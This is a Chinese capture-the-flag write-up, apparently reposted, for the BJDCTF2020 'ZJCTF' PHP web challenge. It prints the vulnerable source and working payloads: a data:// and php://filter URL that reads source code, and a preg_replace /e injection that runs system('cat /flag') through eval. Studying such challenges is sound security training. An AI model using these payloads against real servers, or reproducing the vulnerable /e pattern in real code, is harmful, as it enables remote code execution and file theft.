[BJDCTF2020]ZJCTF,不过如此

admin 2026-09-10 04:49:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为CTF题目Writeup,通过代码审计发现GET参数text和file存在文件读取漏洞,利用data://协议绕过filegetcontents限制,再通过php://filter读取源码,发现preg_replace的/e修饰符命令执行漏洞,最终构造payload执行系统命令获取flag。解题思路清晰,步骤完整,对PHP代码审计和漏洞利用具有参考价值。 综合评分: 75 文章分类: CTF,WEB安全,代码审计,漏洞分析


[BJDCTF2020]ZJCTF,不过如此

原创

devildollking devildollking

熔城Sec

2026年9月9日 09:00 辽宁

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

01

题目简介

  • 题目名称:[BJDCTF2020]ZJCTF,不过如此
  • 题目平台:CTF²
  • 题目类型:Web

02

解题步骤

启动靶机

审计一下上述代码,我们发现使用了GET方法传递了两个参数text、file。并且使用file_get_contents写入text,要求写入的字符串和i have a dream相同。

在传参的时候路径中不能含有/flag/ 的路径 ,就会输出“ not now ”,同时在注释里面告诉我们一个php文件。

通过上述的逻辑分析,我们可以构造payload,因为使用了file_get_contents,所以我们可以通过data://协议进行读取。

/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

进行base64解码操作

获得新的源码

<?php$id&nbsp;=&nbsp;$_GET['id'];$_SESSION['id'] =&nbsp;$id;
function&nbsp;complex($re,&nbsp;$str)&nbsp;{&nbsp; &nbsp;&nbsp;return&nbsp;preg_replace(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'/('&nbsp;.&nbsp;$re&nbsp;.&nbsp;')/ei',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'strtolower("\\1")',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$str&nbsp; &nbsp; );}

foreach($_GET as&nbsp;$re&nbsp;=>&nbsp;$str) {&nbsp; &nbsp;&nbsp;echo&nbsp;complex($re,&nbsp;$str).&nbsp;"\n";}
function&nbsp;getFlag(){    @eval($_GET['cmd']);}

这里的关键方法在这里

function&nbsp;complex($re,&nbsp;$str)&nbsp;{&nbsp; &nbsp;&nbsp;return&nbsp;preg_replace(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'/('&nbsp;.&nbsp;$re&nbsp;.&nbsp;')/ei',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'strtolower("\\1")',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$str&nbsp; &nbsp; );}

这里使用了一个preg_replace的命令执行漏洞,

‌漏洞触发条件:‌PHP 版本 < 7.0(PHP 5.5 废弃 /e,PHP 7.0 移除)。preg_replace 第一个参数包含 /e 修饰符。第二个参数(替换串)中包含反向引用(\1,&nbsp;$1&nbsp;等),且该引用内容受用户控制

所以接下来我们就可以构造payload了

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:熔城Sec devildollking devildollking《[BJDCTF2020]ZJCTF,不过如此》

    评论:0   参与:  0